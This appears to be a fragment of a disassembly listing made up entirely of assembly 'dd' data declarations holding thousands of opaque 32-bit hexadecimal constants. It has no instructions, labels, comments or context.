		dd 4B5EB42h, 3CB9E744h,	0F79A8085h, 4D242F9Bh, 490F2270h
		dd 55598B6Dh, 92DFAF87h, 0E9218BF2h, 0E748B9C9h, 0E3676047h
		dd 0E44E8EF6h, 46682C09h, 968C659h, 6C0F7034h, 8689F459h
		dd 0C94DDFACh, 66E06807h, 0B351DD09h, 0C5A7AACAh, 73E984E3h
		dd 0D08CA908h, 6FD009C2h, 0EA478394h, 27C1B0EDh, 1CCA6829h
		dd 0BD550108h, 70E076F1h, 9109E565h, 94150h, 81A9DCAh
		dd 2DEEC37Ah, 0C2DC4C27h, 0D9610BABh, 0F3E6F148h, 82720DE9h
		dd 54371A24h, 178CF858h, 0AE5DEA29h, 5FF95C44h,	42EB3481h
		dd 2CD80107h, 1A836B48h, 8C144F20h, 284AF687h, 8402DA3Ch
		dd 1D3AE912h, 847EF829h, 0BFF7ABFFh, 610A680Eh,	95F2AA12h
		dd 0C18EAED2h, 162C4418h, 48BFD6F7h, 1EBAE4B5h,	0E4018DE1h
		dd 4AB61363h, 2B64228h,	6BDB1177h, 4BA44F5h, 5BE9DA87h
		dd 9EA6B89Ch, 12B3FB0Bh, 2CD451D1h, 79A309FCh, 0E8C2EC76h
		dd 7F79DD7Eh, 6132EB07h, 5CD145C2h, 0BB0607C9h,	0D829C1D7h
		dd 6806845Bh, 0B8A33EC5h, 8260179h, 48E93A0Ch, 9A8EA530h
		dd 395841AEh, 0F8E15D02h, 0F4EE0414h, 9C4A6826h, 610C3A16h
		dd 0B8E5939Ah, 0ACC50BBBh, 0A58B64A0h, 2D32E1C0h, 8B4C201Ah
		dd 74A0820Eh, 22A64465h, 0C11CA538h, 9B92F6FAh,	5610DFE8h
		dd 16FA4AD1h, 0EC8F08BDh, 1449BE1Eh, 0F689F7D5h, 0A63ECF7h
		dd 902AEBA0h, 143100C2h, 0F2016999h, 9DE95712h,	0E6BAE2C5h
		dd 0A8B1103Bh, 0B991E5Eh, 76D45C82h, 1368848Eh,	861AE2BFh
		dd 732629ECh, 723EE9BFh, 61C8DC36h, 0F8935859h,	0C734024Bh
		dd 8ECCDF1Ah, 325D9225h, 0ED6380E9h, 23FB72h, 0A26B951h
		dd 0D9F70EA0h, 0C1CE809Dh, 4F6482F2h, 1050B8CDh, 542F310Dh
		dd 0EC25E15Bh, 4CDD4515h, 0E917FD3Ch, 10B23912h, 5382B538h
		dd 64B2ACB7h, 1C018C2h,	13973B70h, 0D893C1AAh, 66826D37h
		dd 41D7F1F7h, 7A0D6FABh, 19AE6806h, 96FD9D3Eh, 1F9F6957h
		dd 80BAC52h, 7C5966EFh,	5A49C62h, 0FC04E9F8h, 0CBBE5D8Fh
		dd 0FECF0968h, 425B60CEh, 4AB01635h, 0F406EA28h, 0A2639A2Dh
		dd 77676CDEh, 9107EB92h, 1A4452F3h, 0DE20E76Ch,	94B4F4C3h
		dd 0EF14920Ch, 0AE40629Ah, 6875828Fh, 99B0D605h, 0BC0A907h
		dd 6814ED1Fh, 105EC74Ch, 0A0D24F46h, 6A58E47Bh,	0DE5C1252h
		dd 0F6D089E8h, 0D05B5D05h, 81F8F447h, 38932DDh,	0E055FC7h
		dd 2108B12Bh, 64B548D9h, 2870E4Dh, 5E849011h, 0A325050h
		dd 9CE4768h, 0C507A0B1h, 0AC5EA17Eh, 0F6FED2B0h, 82CCDB1Bh
		dd 5A88FC6Bh, 0F2421FCh, 0E0A0CF12h, 622403B8h,	0C2297C28h
		dd 7F2307E1h, 4217741h,	0BB053CFEh, 0F45D4C92h,	6F8959C5h
		dd 0E870AE31h, 32E63001h, 338110B0h, 6E2C00Bh, 1367D804h
		dd 4E797DEDh, 0E5AFF4A2h, 0C9691590h, 59F37F8Bh, 0DFB7FC9h
		dd 7CC05112h, 121A6856h, 0C8746303h, 5202F959h,	0B5E917B7h
		dd 82145D31h, 2708D597h, 39180986h, 4B6EE7F6h, 0AD69C710h
		dd 0C5016B56h, 55143B4Ch, 2BFFF12Bh, 16D650E3h,	0A0D1AE8Bh
		dd 447E4555h, 0A4CABE0Dh, 884C2738h, 0B6520E24h, 2F50BF7h
		dd 1F31F1h, 7A7826BFh, 0EF814301h, 2E410F6Bh, 0C101E03Fh
		dd 9B3E750h, 3D89EC4Eh,	0AE05EA22h, 4D5545h, 3A0B8E88h
		dd 0CA7AE9FFh, 0FBBCEB9Dh, 0B2B9D7C7h, 45B06134h, 7A26A67Eh
		dd 0D553E324h, 4469DA82h, 86635777h, 0F6E81467h, 6109F709h
		dd 0DA341383h, 9EEBD04h, 0AE874ABDh, 28DC79BBh,	0F438415Eh
		dd 4F9BCFEDh, 5689973Ch, 2D9370AFh, 8E27534Dh, 20E8DE1Fh
		dd 8441BD07h, 0D94FA826h, 9966760Fh, 0EFD9AA0Fh, 8ABE6513h
		dd 5AB54C73h, 8C8467BCh, 94CABC9Eh, 59412DC6h, 0D6391642h
		dd 0BD04A27Dh, 0BA2696Bh, 99D3A482h, 8B6A52BDh,	119A058Ch
		dd 930170B3h, 7ABF71F5h, 0F41ACA40h, 0A0B15BE6h, 5FE6E94Fh
		dd 0CAB0E791h, 4F2F1697h, 2B0AF172h, 0A0614612h, 0F32AD0AFh
		dd 0C3A32CE9h, 4305C8Bh, 0C9D7B232h, 0CAFEC441h, 0B28555CAh
		dd 0B9CE9087h, 0F45016ADh, 31415681h, 0D5FE5A44h, 644A13A2h
		dd 7045AF78h, 61FAA76Fh, 3B53376Eh, 5C8B878Bh, 0E916F8D0h
		dd 74AE1932h, 0B6A78248h, 0CB950105h, 0D3AA88AFh, 0EDA38360h
		dd 984AFD18h, 26EF7DC1h, 658D14B4h, 4882BA29h, 0A86BD9EEh
		dd 0D9D130BBh, 3CB2E343h, 2255B3Bh, 0E56B2FCBh,	0BBEE611Bh
		dd 0E13F0C96h, 0DEEC2A4Eh, 0F0F1BFA2h, 3422C88Fh, 56EB02EFh
		dd 5F2D2560h, 0FC613E04h, 0CAFB4EE6h, 68550AE4h, 4DA9F825h
		dd 70F6124Fh, 38816809h, 957434DFh, 96C965Dh, 71CB1EDBh
		dd 12F5970Ah, 68858CE1h, 7E1EC259h, 0F156D925h,	0BC918885h
		dd 8E091124h, 64AC1222h, 3014921h, 9CF0AF27h, 9DD96E97h
		dd 0D43CFC61h, 5A6D2D44h, 0D601D0Bh, 0D9508157h, 0C11E6AD5h
		dd 5F7CE479h, 413472C0h, 0E4186076h, 6005BD0Bh,	7375E913h
		dd 5C14415Dh, 0C913DE87h, 0AB4E57ECh, 6B48C03Bh, 0A41F3D17h
		dd 5712A729h, 4CFCF14Fh, 12AC680Ah, 0B0339290h,	0F9F75253h
		dd 63303B09h, 4F8E5512h, 2EACB64h, 5AE74CD1h, 0F47D4A57h
		dd 0FD400972h, 104B56Eh, 3E7268C3h, 0F60E52E3h,	0C1C05A42h
		dd 0C28103E2h, 631CCC0Ah, 0D802B12Bh, 0C128A84Ch, 0C37058E8h
		dd 0B659508h, 2040AA87h, 5CC8FD2Bh, 0D00BD6F6h,	7EA568E6h
		dd 0AEB5628Eh, 96B87A7Fh, 0BB3E1520h, 4E62D850h, 0C55BF8DEh
		dd 0BCED49F2h, 3009C102h, 0B25E088Eh, 0C03C7425h, 43FF386Eh
		dd 6B1E2390h, 622D560Ch, 0B71760FAh, 2C89A58Ch,	42934232h
		dd 229BF00h, 0C1574F16h, 646B8A75h, 393CF1A0h, 0FE0392C0h
		dd 4F2748F8h, 6861DFF9h, 0B0582126h, 43560048h,	4ACA8122h
		dd 4C769432h, 71A5F206h, 80C7962h, 26916CD4h, 8060D700h
		dd 490FE922h, 59810363h, 7F7C0262h, 4E4D98F0h, 4849BCD6h
		dd 4A7DC5D5h, 0F46449A2h, 865FE23h, 0EA1771E3h,	0C414F827h
		dd 89AB6226h, 32E3E30Eh, 0D1292009h, 3179575Ah,	922959AFh
		dd 0A655E4A0h, 988B7262h, 0B4966659h, 1E01C31Ah, 0EBC10A0Fh
		dd 8840607h, 8B779DE9h,	0C278053Ah, 28E0A88Dh, 8DA0B514h
		dd 309D36DCh, 7A43DCA1h, 48F2BDA2h, 72A2A7AAh, 3F4A91FDh
		dd 280403CAh, 0D32CC889h, 447FA4B2h, 560A2741h,	0FDF831A9h
		dd 3701B998h, 0E99B70D1h, 5A7C5C57h, 0EF6853E0h, 1E1D5272h
		dd 24D84B5Bh, 5E1DE92Dh, 0CCFAA840h, 62D4E0FFh,	12F12160h
		dd 3A126272h, 34AF7405h, 0BC39BB28h, 48FF092Bh,	5871857h
		dd 197705A4h, 130EE975h, 0B6B6AF9Fh, 17C1B689h,	0C08F2858h
		dd 857D2E05h, 83E92762h, 3BD7D50Bh, 0B1FC046Dh,	0C954E9B7h
		dd 7D7BD87Fh, 2DF10B26h, 2223D503h, 0EB5BD93Eh,	27C34596h
		dd 25566F6Eh, 922DEE7Ah, 1B8BB67Ah, 0B2A9BA06h,	6831E91Eh
		dd 0DA591643h, 3325FF52h, 0FEAA514Ah, 0C45BA25Bh, 0C0BF5550h
		dd 34442FCBh, 41FA5F4Fh, 41B98088h, 0F8BF45C8h,	0C247B168h
		dd 0ED005E02h, 508A1426h, 0C42E956Dh, 0FAE72824h, 0E982C4E2h
		dd 0C8466792h, 8451EC9Fh, 0E6F69DB9h, 20F546CBh, 86257873h
		dd 8E9C5BD3h, 855ED588h, 0ABD4F659h, 25A8B335h,	0C3803461h
		dd 3B93E9E0h, 6C491287h, 0EB800367h, 13B050CDh,	0F25E29E7h
		dd 61DBC44Dh, 62687440h
		dd 3203221Ch, 4A299CB5h, 1D5B7747h, 0DD8D1189h,	62DD4A9Ah
		dd 4C4DDFDh, 5772FB25h,	474AB50Fh, 52040714h, 5329D625h
		dd 0E92555F8h, 96B2709Eh, 0D2355065h, 17C74B17h, 341AE0E0h
		dd 0EE0C7B20h, 79E97A44h, 36401BE1h, 2D10CBE6h,	4C5436F8h
		dd 0E231E400h, 5AC18908h, 0F42CFE58h, 5EF71321h, 4BAE1847h
		dd 6172FDB8h, 551840FAh, 310FFABDh, 0B60DB8E8h,	1E2D03FAh
		dd 3A123065h, 0F2AB3B69h, 5E23846Bh, 0CF0EAF13h, 0DB4CF0E7h
		dd 0D2F7060Fh, 0B57C5A49h, 0D04D5B15h, 6A431D3h, 0D65728ECh
		dd 0B2DB1459h, 0BE0BFEDAh, 511562ABh, 0F410BA06h, 0BE96F44Fh
		dd 0C8050195h, 2A3CC06Ah, 46687A81h, 42E93F85h,	7975FA1Dh
		dd 54E882h, 1E4B95BDh, 0D5F74E05h, 2FEEDD1h, 39BEBB89h
		dd 0FCFEE2C1h, 68141F32h, 84493FFFh, 113732Dh, 0E26149BDh
		dd 0D54A2A3Ch, 0B3818DDBh, 66DE0828h, 4F0F1BA8h, 5CB0950h
		dd 0F7F9A975h, 0B8FBD102h, 4CF52DDh, 31CBBA52h,	32DC8188h
		dd 0A2B73F37h, 0A13FEC4Bh, 0B42A5FE9h, 3445C5DBh, 0AB5A1A92h
		dd 0F52B6629h, 2BB7F56Fh, 12FEA138h, 0F045E9C9h, 0E19150F3h
		dd 6709E813h, 90C7FA3Ah, 2C9107B0h, 0E0C8091Dh,	4767D90Dh
		dd 2054D1Fh, 0E984739Ch, 8B8A8D9Bh, 0FE1C6815h,	6C27E90Ch
		dd 0F300B869h, 548655Fh, 25CDA8F4h, 9D54212Fh, 3BDCF700h
		dd 4FE9456Ah, 0E00BD214h, 81B7D9F7h, 3C30AE68h,	3F247515h
		dd 0E9ECCFA8h, 9F50BA29h, 9401C4A4h, 5F47AC3Dh,	5899F32Ah
		dd 12CC2732h, 0FB59F7E9h, 0F59133Fh, 0EE8D31FAh, 87356FE8h
		dd 0A505EB8h, 0FCA15E46h, 0DC67A397h, 0B6CCACAEh, 0BABB07E9h
		dd 407AB979h, 85478645h, 74636813h, 0BCCA8Ch, 4E3CA878h
		dd 0CE81E6D1h, 26530109h, 0B5320065h, 94F2B1Bh,	4E5AD609h
		dd 6705445Eh, 74C0BC2Eh, 44A65A8h, 0E9F20122h, 0BF40B036h
		dd 0D11F2609h, 0B175C57h, 1457D090h, 46A9205Fh,	3768AD13h
		dd 9DF9018Dh, 841AF46Ah, 0AEA3155Eh, 6E13EA80h,	7ED61574h
		dd 0D41C8A6h, 70932680h, 0DA010EC9h, 2F097098h,	534CB5Ah
		dd 0F6C29CE6h, 64CE026h, 8EE3C4Dh, 853EA17h, 5F1314C7h
		dd 0FEBD1FAh, 17802CB6h, 4BD1F5Ah, 36E21A1h, 9A5A1B66h
		dd 0E1BB0B67h, 885A5ED6h, 12355500h, 4371710h, 0F575CE25h
		dd 50D4FC77h, 0F0BE881Fh, 0AEE5D62h, 0BE531369h, 0E02A5F8Dh
		dd 0CE4D5C4Eh, 1A6E0284h, 7E520A88h, 95402512h,	81826432h
		dd 36218468h, 0CEF9B20h, 23E022CAh, 1A7FDF0Ch, 10AE1D5Bh
		dd 0C6808EDh, 8DDC2F14h, 8EB2C3Eh, 77AC5B13h, 0E339EB4Ah
		dd 3A28BE2Bh, 926F9EAAh, 0AE3516F0h, 0EAFB253h,	0E2B68B17h
		dd 4AB716C5h, 3801839Ch, 4B4A81D0h, 7B71581Bh, 4A1C383Bh
		dd 6260DAEAh, 485EE989h, 9CB81C2h, 65705FA2h, 0C02B580Bh
		dd 97739C5Dh, 0BB122A53h, 0F22949C2h, 0C4674B79h, 0BFB3EA0Eh
		dd 0C292FD97h, 7DF03BE9h, 0C1F6E2EEh, 0A181F49Ch, 5F35C651h
		dd 0F721E07Ah, 0A4D1DF3Ah, 6613AF87h, 0AC3D95BAh, 15278449h
		dd 73565F07h, 0E0B6270h, 55494158h, 8384EF22h, 0CB8CD655h
		dd 5260D55Ch, 0BF272EE9h, 76972A4Eh, 0D1BD56CEh, 2596A2FEh
		dd 0A322AC8Bh, 5D63689Fh, 1C13F400h, 0D403F88h,	5A4728FAh
		dd 7CD22580h, 0FCCF4657h, 678EA865h, 0C25DAB5Bh, 5E5D5064h
		dd 0D7DDF359h, 0E84CBFAh, 12345568h, 4B85B7BFh,	2FAB3149h
		dd 2FEDA106h, 0D8431178h, 0EA7E5A0Eh, 3251AE79h, 907F58A5h
		dd 0FA13EEDFh, 6135C42Dh, 453C14A8h, 5B0B5724h,	0C6FF66CAh
		dd 0BE5A4E30h, 5C15E3Ch, 0CA680AE9h, 0EF71564Eh, 6CC27921h
		dd 0E904612Bh, 3F4068E2h, 69438FBFh, 84FA5621h,	3DB8EEBDh
		dd 8A0C0585h, 0EB5B76CDh, 0AA4886BDh, 13DD884Eh, 4B21ED40h
		dd 653F2CF8h, 0B55BB340h, 164BCBE3h, 601B69E4h,	0DCE56B20h
		dd 0D398084Eh, 1F88CD38h, 0F51D2CA4h, 0D3AC488Eh, 0E90FC8BBh
		dd 0F6B1264Bh, 6ABC9B6Eh, 0F138664h, 6A50F6C2h,	0BA69D7DBh
		dd 9C5B705Ah, 6FA6E59Eh, 1E983B01h, 3A89CA01h, 163044ECh
		dd 0A49E665Fh, 8F56AE61h, 8CE2A880h, 0E90B1E12h, 0F48B7125h
		dd 2802731Ch, 5E1D259Eh, 44836256h, 0B8895867h,	807FFC4Fh
		dd 0DCB8DFC8h, 48FB2A68h, 0B650623Ah, 39666C91h, 6A5419B0h
		dd 17092DADh, 85564436h, 71D05B4h, 0A5075E6Fh, 46C22A5Ch
		dd 506FF65Bh, 920509E2h, 16D4E97Eh, 5054E6AFh, 7057CE7h
		dd 93E957C2h, 3EC69FE4h, 5BAC6784h, 98E1D17h, 697E6047h
		dd 22EEB439h, 25D90B12h, 13AE1C04h, 0E910E037h,	0E8B71527h
		dd 0C00D300Ah, 8D9F667h, 4FB82295h, 0A41E601h, 0DEF7793Ch
		dd 0AA666281h, 3E314360h, 40ADCAF0h, 302758A1h,	0C11F33FEh
		dd 271C0C6h, 0AA050692h, 17FFF5E0h, 0AC4CDDE9h,	0F62AC596h
		dd 4F870EE4h, 63E4315Bh, 0AA85C326h, 592BDF3h, 305ED08Eh
		dd 57B2E9E4h, 0FDF1BDA6h, 0B33F21h, 16746882h, 0F8923659h
		dd 53CEB684h, 3E5F2C20h, 0CC724B13h, 49D3FD55h,	0FFD8150Bh
		dd 16579CBAh, 0FCA7299Fh, 6D2603C0h, 0B0DA744Fh, 293B6D70h
		dd 0F97F95DEh, 0D6F6804Bh, 2762EE80h, 0BB79F030h, 0BCDFC08h
		dd 166535Ch, 93E8883Fh,	8564A892h, 0A23B81FEh, 84850593h
		dd 6A54F1FAh, 51E4DA87h, 1D0FBCA0h, 2D6168C8h, 9C254E66h
		dd 25724609h, 5DD15332h, 96DE97BCh, 0EF5AC1E6h,	37475A44h
		dd 0D2E336CDh, 82BB74B1h, 476D0394h, 69410275h,	2697799Ch
		dd 84E517A7h, 0A82F859Bh, 99FFB4D3h, 17023062h,	34842DBEh
		dd 0BDBED9B0h, 41CB0482h, 17247E3Fh, 5274AA08h,	0C14B35BCh
		dd 2DC5334h, 0AF527501h, 1B945DF6h, 23584D18h, 0B61E01EAh
		dd 580CB705h, 0E0B16A1Ah, 3BD0704h, 0A7C2EF93h,	0A5B0D720h
		dd 9B241690h, 0D72DFE10h, 0B193DEA4h, 0C5C06B9Dh, 3F3136EFh
		dd 0D14F44B6h, 4888640h, 0AE97BCB9h, 0C2259409h, 775E5581h
		dd 6FE91654h, 0A7D9FC66h, 54298AC2h, 50FD839Fh,	0D9DA4618h
		dd 0E86D194Ah, 437EE909h, 87CA916h, 0F8BE0A82h,	0EC09F32h
		dd 48956563h, 27680751h, 144609B2h, 0FFAD65E9h,	9349D2A2h
		dd 0E5E680CDh, 3DDE3547h, 0F8DD4AF7h, 0B44A837Eh, 0EE89D8D8h
		dd 0CF3567E9h, 0A246254h, 0D0F7EF6Ah, 51CEF426h, 37C91015h
		dd 70C3CD81h, 7B4DB717h, 1B106FCBh, 57592799h, 56009F47h
		dd 0B547C968h, 3207B579h, 631A7082h, 866E62E9h,	2CD0023Eh
		dd 5A5A443Eh, 58DEC2EDh, 0D4CBB8D6h, 28770966h,	7C8B9E57h
		dd 165494E9h, 5DAE0966h, 1BFBA35Dh, 0CD01D142h,	1FBEC43Eh
		dd 0A65BDF8Ah, 52600FFAh, 742C1EFh, 0A3CA44E9h,	2D9E407Dh
		dd 0E7281358h, 0EF0C0478h, 0F7810070h, 59AA6DF9h, 2D7E33EEh
		dd 2348E840h, 0D1B58B62h, 8A56A7BCh, 0C9A6DF58h, 59F7C24Dh
		dd 3A0C4D40h, 53972CFFh, 37ADBB00h, 0E3813596h,	0D273176Ch
		dd 42C9AF1Dh, 1FC0F3F0h, 14537917h, 2673FBEBh, 9AE0146h
		dd 1B54E0D2h, 83C1074Bh, 5F4BC042h, 3890FC72h, 0C257AF26h
		dd 0D2D03150h, 0E4808D9h, 0CDC9822Fh, 26740945h, 7E78039h
		dd 3C7814Fh, 37092C2Ch,	4BA03BF1h, 0A5F9293Bh, 60627759h
		dd 9E5D7242h, 8E112AE7h, 0E3D13CECh, 0FD413B13h, 835ECBDBh
		dd 13EE755Dh, 0B4B30F2Bh, 640C3DCh, 129D985Dh, 2A70BAh
		dd 1556C293h, 0E9129778h, 31FE3ECAh, 2EC80166h,	0D2F91F62h
		dd 0CC0F7727h, 0E176E7B7h, 0FCAC2140h, 0C3C619Bh, 2B79BD68h
		dd 0F0802124h, 737591Ch
		dd 4BB8503Fh, 0C1222F32h, 0D07503E0h, 0C59280B3h, 97E91A71h
		dd 9360CBC9h, 99F414EEh, 6774BB59h, 82A25995h, 0B636405h
		dd 2CF8197Ch, 9BFE2E4h,	9A5854BFh, 8B5F4173h, 26787433h
		dd 2C77056Bh, 65DFBC14h, 70103668h, 32B404A1h, 80BBD4F6h
		dd 0C012CC04h, 9E03EC39h, 0C44204E4h, 0F068E986h, 97BEB408h
		dd 0F438EE38h, 531D13BFh, 1A5E1677h, 4E7D0F7Eh,	7F5AA2F5h
		dd 2C4B28C4h, 0A84E3BF8h, 0CB09B52Eh, 0B6F37564h, 515B5405h
		dd 5FC40924h, 2E6770F8h, 5B88332h, 0D9F73806h, 0F604E1D1h
		dd 5C4FCA33h, 30173C90h, 9088EC24h, 5B7C10F7h, 0FD6957Dh
		dd 9DAB005Ah, 7305E1C0h, 0E9450980h, 0EF52F14Ch, 0E304817h
		dd 73024BEEh, 55972D58h, 7795451Ch, 0D5955296h,	2263CAB2h
		dd 7C16AAE5h, 1B2D9E9h,	4BDC6801h, 8EB98C2Ah, 0CD01FA99h
		dd 42A4359Ah, 55472861h, 3CAD1A60h, 0BA3692Dh, 4518507Eh
		dd 2740035Ah, 0E07A57AEh, 75DCC106h, 82B058ACh,	5D0802F2h
		dd 0B14EF757h, 0C0FC6839h, 6794DE9h, 40FE2D7Ah,	0EED9D3F4h
		dd 90BC4F0Fh, 3F0A68C2h, 2DB9CF5Dh, 0C10C8853h,	3C80807Fh
		dd 0BC2DA4EAh, 5613E10Bh, 229E9FCBh, 7F252685h,	0C7D8C612h
		dd 6C2C89Ch, 53A79A0h, 0E72AA168h, 74EA4A19h, 2DCD813Ah
		dd 1832C41h, 8AC38B7h, 0C46FFDE9h, 964DF3A8h, 14926004h
		dd 0AD3D8ECh, 1FF6AC07h, 0CB5C6757h, 70AD2FC1h,	0C59CFC7Ah
		dd 5DE8F83Bh, 57DFA1h, 9140E2Dh, 0F8293273h, 24086E88h
		dd 875F8536h, 0ADB7FE04h, 5302E48h, 5266F84Fh, 2CDB22Eh
		dd 9955E2Fh, 51775B82h,	0BFB44037h, 584BE188h, 0C8FB6929h
		dd 0B210B9E9h, 0ACDE4F50h, 92DB8BDh, 60135714h,	1CCB8A66h
		dd 246057BFh, 8F968BE9h, 832C680Ah, 5DE8AA42h, 0F79502B6h
		dd 0E9191D03h, 4F133D13h, 0FB018EF3h, 0E97D7C38h, 0EF007B1Ah
		dd 6321F7B8h, 0F1099DFEh, 2512E4FDh, 1AA184FBh,	3EEA0402h
		dd 71461921h, 0A69CC004h, 91B091FBh, 17D72630h,	2C0355C6h
		dd 3243679h, 45F93FDCh,	8C9EEE0h, 0E970060Bh, 0B24D2E8h
		dd 0E33BECCFh, 0C4E61702h, 2942D454h, 2D5F72D8h, 9A760930h
		dd 0ED805A64h, 9F796265h, 4EA0D780h, 475D06B9h,	0BE805F04h
		dd 0C16ACB5Bh, 8D27820Ch, 5534202Eh, 0B967F95h,	0BF5F8DFCh
		dd 0A1528074h, 107EA2EFh, 5B13804Ch, 0C01EBC87h, 0CD37FD68h
		dd 4D5D2D71h, 4B00B256h, 42E902AEh, 0C277CBCAh,	0F9C143EAh
		dd 0ADDB20DAh, 47940917h, 48197B82h, 4E9F6898h,	2598E34Dh
		dd 0A79EDEDDh, 5B02BCF4h, 5DB5A8E9h, 52692AA5h,	8F21AFC3h
		dd 0A12C2A8Ah, 0DC89A890h, 7327F754h, 0BC7B09B6h, 6F0D0FFBh
		dd 0F02E3FFDh, 154A831Fh, 846632EFh, 59952458h,	0A2F5E95Ah
		dd 9A82A98h, 47F8BF7h, 2C035FCBh, 0BC106640h, 582D911Ch
		dd 207310F5h, 0CF61C07Eh, 1005156Dh, 1940F1A2h,	3EE12FA4h
		dd 0FFB433F9h, 0AF511FB3h, 8392023Fh, 7B7F02C0h, 124DA65Ch
		dd 0A0A3BF34h, 0BA9BA184h, 412F35FDh, 8F669BC0h, 75DFF2A0h
		dd 0EE0CC3D2h, 9EDB9A1h, 41F2A23Bh, 960E407Dh, 167D95FDh
		dd 9534B3AFh, 0F7139271h, 0B241AFD8h, 9A94F98h,	0ACDAA8BAh
		dd 0B02CC8E2h, 0CAF8BAF6h, 314832E6h, 4B501029h, 0E5F65D27h
		dd 0E9EFBEA4h, 4F55F6B3h, 0BDB6520Eh, 0BABB034Fh, 781D7DEh
		dd 499B6B28h, 28E56E29h, 170AA357h, 9B6C8B15h, 8C2D4F48h
		dd 8340C911h, 8BD505B9h, 0FE290EC7h, 42CE6D90h,	0CC7A4498h
		dd 7B272EFDh, 4EE05E84h, 4AB60FB8h, 994407C9h, 923AAC66h
		dd 10A0E2BBh, 0BA012A2Eh, 43187EA1h, 0BB1F3E42h, 1101B489h
		dd 49F6A69Eh, 23C822BBh, 0BB6CB52Bh, 0A047AC20h, 807B605Fh
		dd 6C4FCE68h, 84C6D633h, 0F2555F07h, 7DCC3867h,	222B930Bh
		dd 1C35FC47h, 3880C6FCh, 5B2C6E9h, 0E8ACB3Dh, 79D0C2EBh
		dd 0F06AE50Ah, 0F0559348h, 71B13FD2h, 11C4742h,	7E52C301h
		dd 0F94545C0h, 1EB79814h, 71A62772h, 4810A188h,	205ACA53h
		dd 90210CC8h, 0F5695E12h, 1FBAEBCDh, 699D76F2h,	1C288A04h
		dd 4EBBCA4Ah, 0DF2D779Ah, 0BE57B109h, 272891A0h, 0EB5525DAh
		dd 25D13ECCh, 0EF2EFEE2h, 0E10C1E3Ch, 5E59A32Bh, 5F36E2F9h
		dd 8528080Eh, 0AD028A16h, 1077759h, 33B041D6h, 53DC356Fh
		dd 0C6D88B30h, 4E96FFD1h, 0FA07AABAh, 49C2D501h, 0B9834846h
		dd 76D3E102h, 7F749A61h, 66FE56B5h, 0A6691422h,	0C325541Fh
		dd 8B0040D3h, 369E23C2h, 2F5E5298h, 0BCF6315Ah,	67177342h
		dd 742DBF2Ch, 3DB22460h, 0ADD4D697h, 57F404DFh,	9C9D1C2h
		dd 5C2D8A67h, 17D070E7h, 0BCF37EE1h, 0BD4EF048h, 8A284F9h
		dd 66DD0B1Ch, 256A0602h, 37AF6801h, 0FF926128h,	8B247359h
		dd 0A317177Bh, 7BE141D2h, 0C6B56B8h, 0B62C2DDh,	632F75F3h
		dd 90E9FE21h, 0FA638B99h, 0CFB5D165h, 5DF95FA9h, 11440265h
		dd 64E89AE9h, 470EBD02h, 0FDE33359h, 0E2C0D301h, 0F5EA8002h
		dd 74D4C72Fh, 2C93A6A1h, 4C189B55h, 8275BC8Fh, 99196985h
		dd 4EAA2FA5h, 503041E4h, 4712263Bh, 0F4BE6575h,	0B73E0661h
		dd 0C9892CE7h, 2F72768Ch, 3EA402F6h, 0F229E6A0h, 0A9A494F9h
		dd 0D035B400h, 97D1893Fh, 30C18B60h, 4E31941Dh,	0BFBF46Dh
		dd 0E010055Bh, 7250E30Fh, 529DEFBAh, 0E1E91712h, 552BC9B2h
		dd 0E499AB95h, 2D0015E5h, 9E046166h, 3A97683Bh,	0E3C08ABCh
		dd 0E97AB079h, 0D3CCC527h, 0BB2F16A9h, 8FDD5DD1h, 19C45D78h
		dd 90C1C81Eh, 9A3C4841h, 4E1DBF5Ah, 0B05AFC6Fh,	73065AC4h
		dd 0EB813D01h, 0BEEF9AB0h, 0C018E06Ah, 0D49D6EEBh, 83278B20h
		dd 6301C1D9h, 901420C3h, 78290BA4h, 0D5E5011h, 0FF424551h
		dd 27916547h, 5655AD6Ah, 25F72C75h, 29816155h, 18081C94h
		dd 0AB026CC8h, 8037F630h, 0AA0DE620h, 2674B73Eh, 9A0C6C94h
		dd 0E91C1128h, 0A8B784E3h, 8E2C105h, 0F7B84752h, 457F69D2h
		dd 5CE90B11h, 424ABDC0h, 12EFB4C1h, 5DF467AAh, 0CFF9BF4Dh
		dd 442C6881h, 75F85196h, 0E31DC972h, 3BA7DD03h,	78F635FAh
		dd 0BC022628h, 14B0EE9h, 0A75FCFBh, 40B02497h, 72E04370h
		dd 0F05B67F6h, 52C9BFACh, 0B034C75Dh, 7A55E9BBh, 5D50C0BAh
		dd 56F08EE2h, 84B54E4Fh, 0B2BA0805h, 16C216DCh,	0F85A39CAh
		dd 0ACAB10D0h, 8C12503Bh, 7FE244D0h, 40A8443Bh,	0F32E5C14h
		dd 2FBB810Fh, 7F507E09h, 98C6D0E4h, 5A0B8356h, 3B02FA0Ch
		dd 51052DE9h, 136804B0h, 0C695A808h, 1495260Ch,	9FB652F0h
		dd 34E81238h, 0D0212E6h, 44F7DFA2h, 1AD4BA74h, 572D92BBh
		dd 759461F7h, 0EE701CE1h, 0DB045CA3h, 0B174B2C1h, 75F2065h
		dd 3ADC8BDh, 0C99AA0F7h, 0E0092C9Ch, 21613D1Ah,	2B58E728h
		dd 38BF2FF1h, 0EC4AD949h, 5F66B20Bh, 0E90B0D51h, 0BE4B41CBh
		dd 0A14E2529h, 8C452E94h, 0E5895C81h, 95EFBBDCh, 0FEC9E27Ch
		dd 201013h, 6460B951h, 0A2492E2Dh, 3B47D9F1h, 4F48F104h
		dd 5137BB36h, 7CD9C9B0h, 4FDAEA8Bh, 83828A8h, 2E68A340h
		dd 0C29A0132h, 0BCA7CB41h, 96099FE5h, 53D57742h, 44D5699Ch
		dd 0AA20B1Ch, 0BF06C54h, 0C8D863B7h, 0EF25B63Ah, 5D0DCE80h
		dd 0A0E927C4h, 4899469Ah, 0E2FC89ADh, 0B9FC7736h, 288484D2h
		dd 8F70500Bh, 581D091Fh, 0E415180Bh, 0CF0BA0FAh, 63F42C32h
		dd 26E32811h, 0BC121688h, 907BF282h, 0E54084C9h, 76F22530h
		dd 1E2029Dh, 4EA50E3Eh,	5C58C2FBh, 0E31F9D79h, 10214B0Bh
		dd 4C4F9B26h, 0D93E9F45h
		dd 1A4CC698h, 58182EBAh, 6F7E57BDh, 4A154C77h, 92E9DA0Bh
		dd 0A3BE0CA0h, 3A58BF38h, 240E01F2h, 72E94EB5h,	0F88AA1DAh
		dd 13E4C789h, 9B8B133h,	5F6A0F40h, 798E5560h, 0DAE5D125h
		dd 36342D7Fh, 5E4B68CCh, 0C3AF27AEh, 0EA845A11h, 0E9F089B2h
		dd 54C5A954h, 0D480D5F7h, 126BA299h, 0D9EF01FAh, 0CD79F224h
